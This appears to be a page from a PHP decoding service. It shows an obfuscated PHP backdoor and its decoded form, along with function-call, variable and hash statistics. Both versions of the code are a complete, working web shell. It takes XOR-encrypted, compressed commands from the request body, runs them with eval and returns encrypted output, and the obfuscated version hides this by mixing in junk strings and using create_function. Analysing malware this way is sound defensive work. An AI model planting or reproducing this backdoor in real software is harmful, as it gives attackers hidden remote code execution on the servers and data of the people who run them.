Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $i=')y-;@ob_eny-d_cy-lean();$r=@basy-e64_y-encode(@y-x(@y-gzcomy-prey-sy-s($o),$ky-..

Decoded Output download

$k="6613c1a9";$kh="04f47c38a6ae";$kf="e88fc62f5769";$p="dUUTSs4s1KE8cU6o";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$i=')y-;@ob_eny-d_cy-lean();$r=@basy-e64_y-encode(@y-x(@y-gzcomy-prey-sy-s($o),$ky-));print("$p$ky-h$r$kf");}';
$b='y-ction x($t,$k)y-{$c=strly-ey-n($k);$l=sy-trlen($y-t);y-y-$o="y-";for($i=0;$i<y-y-$l;){fory-($j=0';
$M=';@y-evay-l(@gzuncy-ompresy-s(@x(@bay-se64_decode($m[1y-]),$y-k))y-);$oy-=@ob_get_coy-ntents(y-';
$E=str_replace('Z','','ZcrZZeate_ZfuncZZtion');
$n=';($j<y-$c&&$i<y-y-$ly-);$j++,$i++){$o.=y-y-$t{$i}^$k{y-$j};}}y-return y-$o;}ify- (@preg_y-match';
$S='(y-"/$kh(y-.+)$kfy-/",@y-file_gey-ty-_contey-nts("y-php://iy-nput"),y-y-$m)==1)y- {y-@ob_starty-()';
$H='$k="6y-613cy-1a9";y-$kh="04f47y-c38ay-y-6ae";$kf="ey-y-8y-8fc62f5769y-";y-$p="dUUTSs4s1KE8y-cU6o";fuy-n';
$X=str_replace('y-','',$H.$b.$n.$S.$M.$i);
$a=$E('',$X);$a();
?>

Function Calls

str_replace 2
create_function 1

Variables

$E create_function
$H $k="6y-613cy-1a9";y-$kh="04f47y-c38ay-y-6ae";$kf="ey-y-8y-8f..
$M ;@y-evay-l(@gzuncy-ompresy-s(@x(@bay-se64_decode($m[1y-]),$y..
$S (y-"/$kh(y-.+)$kfy-/",@y-file_gey-ty-_contey-nts("y-php://iy..
$X $k="6613c1a9";$kh="04f47c38a6ae";$kf="e88fc62f5769";$p="dUUT..
$b y-ction x($t,$k)y-{$c=strly-ey-n($k);$l=sy-trlen($y-t);y-y-$..
$i )y-;@ob_eny-d_cy-lean();$r=@basy-e64_y-encode(@y-x(@y-gzcomy..
$n ;($j<y-$c&&$i<y-y-$ly-);$j++,$i++){$o.=y-y-$t{$i}^$k{y-$j};}..

Stats

MD5 410279a0e7d86f56b4f4326913d0643a
Eval Count 1
Decode Time 110 ms